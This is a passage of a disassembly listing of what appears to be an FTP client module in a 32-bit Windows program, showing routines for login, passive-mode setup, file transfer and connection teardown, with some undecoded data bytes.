[esp+11Ch+var_10C] mov [esp+11Ch+var_10C], edx mov edx, [esi+8] push ecx push 0 push ebp inc edx push ebx push edx mov [esp+130h+var_108], eax call sub_436F12 ; --------------------------------------------------------------------------- cmp eax, 0FFFFFFFFh jz short loc_42CF1A test eax, eax jg short loc_42CF51 mov eax, [esi+34h] mov ecx, [esi+38h] push eax push ecx push esi call dword ptr [esi+30h] mov edi, eax add esp, 0Ch test edi, edi jz short loc_42CF56 mov eax, [esp+11Ch+var_104] jmp short loc_42CEC0 ; --------------------------------------------------------------------------- loc_42CF1A: ; CODE XREF: sub_42CE80+79j push 100h xor edi, edi nop call near ptr 77C1F2BCh mov edx, [eax] push edx nop call near ptr 77C371FAh add esp, 4 push eax mov eax, [esi+1Ch] add eax, 44h push eax call near ptr 77C47A90h nop add esp, 0Ch mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF51: ; CODE XREF: sub_42CE80+7Dj mov edi, 1 loc_42CF56: ; CODE XREF: sub_42CE80+92j mov eax, edi pop edi pop esi pop ebp pop ebx add esp, 10Ch retn ; --------------------------------------------------------------------------- loc_42CF63: ; CODE XREF: sub_42CE80+19j ; sub_42CE80+24j pop esi pop ebp mov eax, 1 pop ebx add esp, 10Ch retn sub_42CE80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 40h dup(0CCh) ; --------------------------------------------------------------------------- loc_42CFC0: ; CODE XREF: ___:00401410j mov eax, [esp+4] xor ecx, ecx dec eax cmp eax, 4 ; switch 5 cases ja loc_42D06F ; default jmp off_42D074[eax*4] ; switch jump loc_42CFD7: ; DATA XREF: ___:off_42D074o mov eax, [esp+8] ; jumptable 0042CFD0 case 0 cmp eax, 1 jz short loc_42CFE9 cmp eax, 2 jnz loc_42D06F ; default loc_42CFE9: ; CODE XREF: ___:0042CFDEj mov ecx, [esp+0Ch] mov [ecx+24h], eax mov ecx, 1 mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42CFF8: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov edx, [esp+0Ch] ; jumptable 0042CFD0 case 1 mov eax, [esp+8] mov ecx, 1 mov [edx+30h], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D00B: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o push esi ; jumptable 0042CFD0 case 2 mov esi, [esp+0Ch] mov eax, 10624DD3h push edi imul esi mov edi, [esp+14h] mov ecx, 1 sar edx, 6 mov eax, edx shr eax, 1Fh add edx, eax mov eax, esi mov [edi+28h], edx mov esi, 3E8h cdq idiv esi lea eax, [edx+edx*4] lea eax, [eax+eax*4] lea edx, [eax+eax*4] mov eax, ecx shl edx, 3 mov [edi+2Ch], edx pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42D04C: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 3 mov edx, [esp+8] mov ecx, 1 mov [eax+34h], edx mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42D05F: ; CODE XREF: ___:0042CFD0j ; DATA XREF: ___:off_42D074o mov eax, [esp+0Ch] ; jumptable 0042CFD0 case 4 mov edx, [esp+8] mov ecx, 1 mov [eax+3Ch], edx loc_42D06F: ; CODE XREF: ___:0042CFCAj ; ___:0042CFE3j mov eax, ecx ; default retn ; --------------------------------------------------------------------------- align 4 off_42D074 dd offset loc_42CFD7 ; DATA XREF: ___:0042CFD0r dd offset loc_42CFF8 ; jump table for switch statement dd offset loc_42D00B dd offset loc_42D04C dd offset loc_42D05F db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D0D0 proc near ; CODE XREF: sub_402243j var_40 = byte ptr -40h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_0] sub esp, 40h or ecx, 0FFFFFFFFh xor eax, eax push ebx push esi push edi mov edi, edx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov ebx, [esp+4Ch+arg_4] or ecx, 0FFFFFFFFh mov edi, ebx repne scasb not ecx add ecx, 6 cmp ecx, 40h ja short loc_42D161 mov edi, dword_50FA60 push edx lea eax, [esp+50h+var_40] push offset aUserS ; "USER %s" push eax call edi ; sprintf mov esi, [esp+58h+arg_8] lea ecx, [esp+58h+var_40] push esi push 33h push ecx call sub_42D1A0 add esp, 18h test eax, eax jnz short loc_42D13D mov cl, [esi+44h] pop edi cmp cl, 32h pop esi setz al pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D13D: ; CODE XREF: sub_42D0D0+5Bj push ebx lea edx, [esp+50h+var_40] push offset aPassS ; "PASS %s" push edx call edi ; sprintf push esi lea eax, [esp+5Ch+var_40] push 32h push eax call sub_42D1A0 add esp, 18h pop edi pop esi pop ebx add esp, 40h retn ; --------------------------------------------------------------------------- loc_42D161: ; CODE XREF: sub_42D0D0+1Bj ; sub_42D0D0+30j pop edi pop esi xor eax, eax pop ebx add esp, 40h retn sub_42D0D0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D1A0 proc near ; CODE XREF: sub_42D0D0+51p ; sub_42D0D0+82p ... var_100 = byte ptr -100h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch sub esp, 100h push ebx mov ebx, [esp+104h+arg_8] push esi push edi mov eax, [ebx+18h] test eax, eax jz short loc_42D1C3 pop edi pop esi xor eax, eax pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D1C3: ; CODE XREF: sub_42D1A0+15j mov eax, dword_50E3CC mov esi, [esp+10Ch+arg_0] cmp eax, 2 loc_42D1D2: ; CODE XREF: ___:0042D24Dj jle short loc_42D1EC mov eax, dword_50FA84 push esi add eax, 40h push offset aS_0 ; "%s\n" push eax call near ptr 77C40E13h nop add esp, 0Ch loc_42D1EC: ; CODE XREF: sub_42D1A0:loc_42D1D2j mov edi, esi or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx add ecx, 2 cmp ecx, 100h jbe short loc_42D20C pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D20C: ; CODE XREF: sub_42D1A0+60j push esi lea ecx, [esp+110h+var_100] push offset dword_443CD4 push ecx nop call near ptr 77C3F931h lea edi, [esp+118h+var_100] or ecx, 0FFFFFFFFh xor eax, eax add esp, 0Ch repne scasb mov eax, [ebx+8] push 0 not ecx dec ecx lea edx, [esp+110h+var_100] push ecx push edx push eax call sub_436F00 sub_42D1A0 endp ; --------------------------------------------------------------------------- db 85h ; --------------------------------------------------------------------------- sar byte ptr [edi+1Ah], 68h lodsb push esp inc esp add [eax-7F645B18h], dl ja short loc_42D1D2 les eax, [ebx+esi] rcr byte ptr [edi+5Eh], 5Bh add esp, 100h retn ; --------------------------------------------------------------------------- mov ecx, [esp+114h] push ebx push ecx call sub_42CB10 add esp, 8 pop edi pop esi pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D2C0 proc near ; CODE XREF: sub_401F55j var_100 = dword ptr -100h var_FC = byte ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h sub esp, 100h push ebx push ebp push esi mov esi, [esp+10Ch+arg_0] push edi mov edi, [esp+110h+arg_4] test esi, esi jnz short loc_42D30C cmp edi, 4 jz short loc_42D2E6 cmp edi, 3 jnz short loc_42D30C loc_42D2E6: ; CODE XREF: sub_42D2C0+1Fj mov eax, [esp+110h+arg_C] push offset aMissingPathArg ; "Missing path argument for file transfer"... add eax, 44h push eax call near ptr 77C3F931h nop add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D30C: ; CODE XREF: sub_42D2C0+1Aj ; sub_42D2C0+24j mov ecx, [esp+110h+arg_8] mov ebp, dword_50FA60 push ecx lea edx, [esp+114h+var_100] push offset dword_4454F4 push edx call ebp ; sprintf mov ebx, [esp+11Ch+arg_C] lea eax, [esp+11Ch+var_100] push ebx push 32h push eax call sub_42D1A0 add esp, 18h test eax, eax jz loc_42D4CE lea eax, [edi-1] ; switch 4 cases cmp eax, 3 ja loc_42D4BF ; default jmp off_42D4DC[eax*4] ; switch jump loc_42D358: ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454EC ; jumptable 0042D351 case 1 mov dl, byte_4454F0 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D373: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov eax, dword_4454E4 ; jumptable 0042D351 case 2 mov cl, byte_4454E8 mov [esp+110h+var_100], eax mov [esp+110h+var_FC], cl mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D38D: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov edx, dword_4454DC ; jumptable 0042D351 case 3 mov al, byte_4454E0 mov [esp+110h+var_100], edx mov [esp+110h+var_FC], al mov ebp, 1 jmp short loc_42D3C0 ; --------------------------------------------------------------------------- loc_42D3A7: ; CODE XREF: sub_42D2C0+91j ; DATA XREF: ___:off_42D4DCo mov ecx, dword_4454D4 ; jumptable 0042D351 case 4 mov dl, byte_4454D8 mov [esp+110h+var_100], ecx mov [esp+110h+var_FC], dl mov ebp, 2 loc_42D3C0: ; CODE XREF: sub_42D2C0+B1j ; sub_42D2C0+CBj ... test esi, esi jz short loc_42D413 lea edi, [esp+110h+var_100] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, esi mov edx, ecx or ecx, 0FFFFFFFFh mov byte ptr [esp+edx+110h+var_100], 20h inc edx repne scasb not ecx dec ecx add ecx, edx cmp ecx, 100h jnb loc_42D4CE mov edi, esi or ecx, 0FFFFFFFFh repne scasb not ecx sub edi, ecx lea edx, [esp+edx+110h+var_100] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_42D413: ; CODE XREF: sub_42D2C0+102j mov ecx, [esp+110h+arg_8] mov esi, [esp+110h+arg_10] push ebp push ecx push esi push ebx call sub_42D580 add esp, 10h cmp eax, 0FFFFFFFFh jz loc_42D4CE push ebx lea edx, [esp+114h+var_100] push 31h push edx call sub_42D1A0 add esp, 0Ch test eax, eax jnz short loc_42D468 mov eax, [esi] push eax call sub_401BDB add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D468: ; CODE XREF: sub_42D2C0+188j mov ecx, [esi] mov [ecx+1Ch], ebx mov eax, [ebx+24h] mov edx, [esi] cmp eax, 2 mov [ebx+20h], edx jnz short loc_42D4AF mov eax, [esi] push ebx push eax call sub_42DA60 ; --------------------------------------------------------------------------- add esp, 8 test eax, eax jnz short loc_42D4AF mov ecx, [esi] push ecx call sub_401BDB add esp, 4 mov dword ptr [esi], 0 mov dword ptr [ebx+20h], 0 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4AF: ; CODE XREF: sub_42D2C0+1B8j ; sub_42D2C0+1C8j pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 100h retn ; --------------------------------------------------------------------------- loc_42D4BF: ; CODE XREF: sub_42D2C0+8Bj push edi ; default add ebx, 44h push offset aInvalidOpenTyp ; "Invalid open type %d\n" push ebx call ebp ; sprintf add esp, 0Ch loc_42D4CE: ; CODE XREF: sub_42D2C0+7Fj ; sub_42D2C0+12Cj ... pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 100h retn sub_42D2C0 endp ; --------------------------------------------------------------------------- align 4 off_42D4DC dd offset loc_42D358 ; DATA XREF: sub_42D2C0+91r dd offset loc_42D373 ; jump table for switch statement dd offset loc_42D38D dd offset loc_42D3A7 db 4 dup(90h) db 90h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42D580 proc near ; CODE XREF: sub_42D2C0+165p var_134 = dword ptr -134h var_130 = dword ptr -130h var_12C = dword ptr -12Ch var_128 = dword ptr -128h var_124 = dword ptr -124h var_120 = word ptr -120h var_11E = word ptr -11Eh var_11C = dword ptr -11Ch var_118 = byte ptr -118h var_114 = byte ptr -114h var_110 = byte ptr -110h var_10C = byte ptr -10Ch var_108 = byte ptr -108h var_104 = byte ptr -104h arg_0 = dword ptr 4 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h sub esp, 134h push ebx mov ebx, [esp+138h+arg_0] push ebp push esi mov eax, [ebx+18h] xor ebp, ebp mov esi, 1 cmp eax, ebp push edi mov [esp+144h+var_120], bp mov [esp+144h+var_11E], bp mov [esp+144h+var_11C], esi jnz loc_42D8A4 mov eax, [esp+144h+arg_C] cmp eax, esi jz short loc_42D5E2 cmp eax, 2 jz short loc_42D5E2 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D5E2: ; CODE XREF: sub_42D580+3Aj ; sub_42D580+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_42D614 cmp eax, 49h jz short loc_42D614 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx call near ptr 77C3F931h nop add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_42D614: ; CODE XREF: sub_42D580+6Cj ; sub_42D580+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_42D6F9 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_42D1A0 add esp, 0Ch test eax, eax jz loc_42D8A4 lea ecx, [ebx+44h] push 28h push ecx nop call near ptr 77C47660h add esp, 8 cmp eax, ebp jz loc_42D8A4 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax nop call near ptr 77C41B72h mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl push 6 push esi push 2 call sub_436F3C ; --------------------------------------------------------------------------- db 8Bh dd 0FFFF83F8h, 40684D75h, 0E8004454h, 7780970Ah, 4C48390h dd 5E5FC70Bh, 0C4815B5Dh, 134h ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42D6F9: ; CODE XREF: sub_42D580+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_436F2A ; --------------------------------------------------------------------------- dd 0BD7DC085h, 44556068h, 0D7E89000h, 83778096h, 0C03304C4h dd 5B5D5E5Fh, 134C481h, 8DC30000h, 6A282454h, 46A5204h dd 0FFFF68h, 45E85700h, 83000098h, 0A75FFF8h, 44543068h dd 147E900h, 448D0000h, 46A2424h, 806850h, 0FF680000h dd 570000FFh, 981FE8h, 0FFF88300h, 30680A75h, 0E9004454h dd 121h, 75247339h, 244C8D20h, 51106A10h, 97BCE857h, 0F8830000h dd 0EC850FFFh, 68000000h, 445230h, 0FCE9h, 24548D00h, 52106A10h dd 6C896657h, 85E81E24h, 83000097h, 775FFF8h, 44555868h dd 5610EB00h, 9760E857h, 0C0850000h, 5068217Dh, 0E8004455h dd 77809626h, 4C48390h, 9730E857h, 5E5F0000h, 5BC0335Dh dd 134C481h, 8DC30000h, 8D202444h, 5010244Ch, 37E85751h dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh, 0C3000001h dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h dd 20244C8Bh, 0FFE281h, 0FF250000h, 52000000h, 0FFE181h dd 51500000h, 5C24548Dh, 44553468h, 0E8905200h, 778120DDh dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh, 1375C085h dd 9698E857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h dd 144h, 3CE89056h, 8B777FE8h, 8C483F0h, 2275F53Bh, 44542868h dd 57E89000h, 83778095h, 0E85704C4h, 9662h ; --------------------------------------------------------------------------- loc_42D8A4: ; CODE XREF: sub_42D580+2Bj ; sub_42D580+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn sub_42D580 endp ; --------------------------------------------------------------------------- dw 0BC83h dd 15024h, 41754100h, 200068h, 0EB41E800h, 8390777Fh, 0C53B04C4h dd 75144689h, 5428682Ch, 0E8900044h, 77809516h, 5704C483h dd 9621E8h, 0E8905600h, 777FE92Fh, 8304C483h, 5E5FFFC8h dd 0C4815B5Dh, 134h, 248C8BC3h, 154h, 89087E89h, 538B184Eh dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh, 0C3000001h, 90909090h dd 40h dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42DA60 proc near ; CODE XREF: sub_42D2C0+1BEp var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_42DAA2 mov ecx, eax loc_42DAA2: ; CODE XREF: sub_42DA60+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_436F12 sub_42DA60 endp ; --------------------------------------------------------------------------- db 83h, 0F8h, 0FFh dd 683E75h, 90000001h, 7F17F7E8h, 50008B77h, 972CE890h dd 0C4837780h, 44C68304h, 0E8905650h, 77819FB4h, 83084B8Bh dd 0E8510CC4h, 941Eh, 86B895Fh, 0C0335D5Eh, 24C4815Bh dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 4455C0BEh, 0A4A5F300h dd 5208538Bh, 93F1E8h, 6B895F00h, 335D5E08h, 0C4815BC0h dd 124h, 84B8BC3h, 3024448Dh, 2DE85150h, 85000094h, 8B7A74C0h dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93BAE800h dd 0F88B0000h, 1762E890h, 108B777Fh, 5008438Bh, 14245489h dd 939DE8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1, 24C4815Bh dd 0C3000001h, 10244C8Bh, 10068h, 6BE85100h, 90778096h dd 8304C483h, 565044C6h, 9EF2E890h, 0C4837781h, 86B890Ch dd 5E5FC033h, 0C4815B5Dh, 124h, 8468BC3h, 3024548Dh, 0A1E85052h dd 85000093h, 8B2474C0h, 0E851084Bh, 933Ah, 89326A56h dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh, 124C481h dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_42DC70 proc near ; CODE XREF: sub_402248j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_42DC81 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DC81: ; CODE XREF: sub_42DC70+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DC9D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42CC50 add esp, 0Ch jmp short loc_42DCC4 ; --------------------------------------------------------------------------- loc_42DC9D: ; CODE XREF: sub_42DC70+17j call sub_42CE80 add esp, 4 cmp eax, 1 jz short loc_42DCAF pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCAF: ; CODE XREF: sub_42DC70+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_436EFA ; --------------------------------------------------------------------------- loc_42DCC4: ; CODE XREF: sub_42DC70+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DCD0 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DCD0: ; CODE XREF: sub_42DC70+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_42DD0F mov eax, [esi+3Ch] test eax, eax jz short loc_42DD0F push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_42DD0F mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_42DD08 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42DD08: ; CODE XREF: sub_42DC70+93j mov dword ptr [esi+40h], 0 loc_42DD0F: ; CODE XREF: sub_42DC70+6Fj ; sub_42DC70+76j ... mov eax, edi pop edi pop esi retn sub_42DC70 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DD50 proc near ; CODE XREF: sub_4021F3j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_42DD61 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DD61: ; CODE XREF: sub_42DD50+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_42DD7D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_42DE20 add esp, 0Ch jmp short loc_42DD9A ; --------------------------------------------------------------------------- loc_42DD7D: ; CODE XREF: sub_42DD50+17j call sub_42CE80 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_436F00 ; --------------------------------------------------------------------------- loc_42DD9A: ; CODE XREF: sub_42DD50+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_42DDA6 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42DDA6: ; CODE XREF: sub_42DD50+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_42DDDC mov ecx, [esi+3Ch] test ecx, ecx jz short loc_42DDDC push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_42DDDC mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_42DDDC: ; CODE XREF: sub_42DD50+63j ; sub_42DD50+6Aj ... mov eax, edi pop edi pop esi retn sub_42DD50 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DE20 proc near ; CODE XREF: sub_42DD50+23p ; sub_42DFD0+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_42DE3C pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_42DE3C: ; CODE XREF: sub_42DE20+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_42DF64 loc_42DE4D: ; CODE XREF: sub_42DE20+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42DE8E cmp al, 0Dh jz short loc_42DE8E cmp esi, 2000h jnz short loc_42DE89 push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov edx, [ebp+8] push 0 push esi push edi push edx call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DEF1 xor esi, esi loc_42DE89: ; CODE XREF: sub_42DE20+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42DE8E: ; CODE XREF: sub_42DE20+35j ; sub_42DE20+39j cmp esi, 2000h jnz short loc_42DEBC push ebp call sub_42CE80 add esp, 4 test eax, eax jz short loc_42DEEA mov eax, [ebp+8] push 0 push esi push edi push eax call sub_436F00 ; --------------------------------------------------------------------------- mov esi, eax cmp esi, 2000h jnz short loc_42DF11 xor esi, esi loc_42DEBC: ; CODE XREF: sub_42DE20+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_42DE4D test esi, esi jz loc_42DF64 push ebp call sub_42CE80 add esp, 4 test eax, eax jnz short loc_42DF31 loc_42DEEA: ; CODE XREF: sub_42DE20+4Ej ; sub_42DE20+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DEF1: ; CODE XREF: sub_42DE20+65j nop call near ptr 77C1F2BCh mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF11: ; CODE XREF: sub_42DE20+98j nop call near ptr 77C1F2BCh mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" nop call near ptr 77C4186Ah add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_42DF31: ; CODE XREF: sub_42DE20+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_436F00 ; --------------------------------------------------------------------------- dw 0F88Bh dd 2074FE3Bh, 1372E890h, 108B777Fh, 0E8685752h, 90004455h dd 813911E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh ; --------------------------------------------------------------------------- loc_42DF64: ; CODE XREF: sub_42DE20+27j ; sub_42DE20+B7j mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_42DE20 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42DFD0 proc near ; CODE XREF: sub_401BDBj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_42E04B dec eax jz short loc_42E000 dec eax jz short loc_42DFEC loc_42DFE4: ; CODE XREF: sub_42DFD0+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42DFEC: ; CODE XREF: sub_42DFD0+12j mov eax, [esi+14h] test eax, eax jz short loc_42E000 push esi push 0 push 0 call sub_42DE20 add esp, 0Ch loc_42E000: ; CODE XREF: sub_42DFD0+Fj ; sub_42DFD0+21j mov eax, [esi+14h] push ebx mov ebx, dword_50FAC4 test eax, eax jz short loc_42E014 push eax call ebx ; free add esp, 4 loc_42E014: ; CODE XREF: sub_42DFD0+3Cj mov eax, [esi+8] push 2 push eax call sub_436F9C ; --------------------------------------------------------------------------- mov ecx, [esi+8] push ecx call sub_436F06 ; --------------------------------------------------------------------------- mov edi, [esi+1Ch] push esi call ebx ; free add esp, 4 test edi, edi pop ebx jz short loc_42DFE4 push edi push 32h mov dword ptr [edi+20h], 0 call sub_42CB10 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42E04B: ; CODE XREF: sub_42DFD0+Cj mov eax, [esi+20h] test eax, eax jz short loc_42E062 push esi mov dword ptr [esi+1Ch], 0 call sub_401BDB add esp, 4 loc_42E062: ; CODE XREF: sub_42DFD0+80j mov edx, [esi+8] push edx call sub_436F06 sub_42DFD0 endp ; --------------------------------------------------------------------------- db 56h db 90h db 0E8h, 0A9h, 0E1h dd 0C483777Fh, 5FC03304h, 9090C35Eh, 90909090h, 0Ch dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- loc_42E0B0: ; CODE XREF: ___:00401CE4j 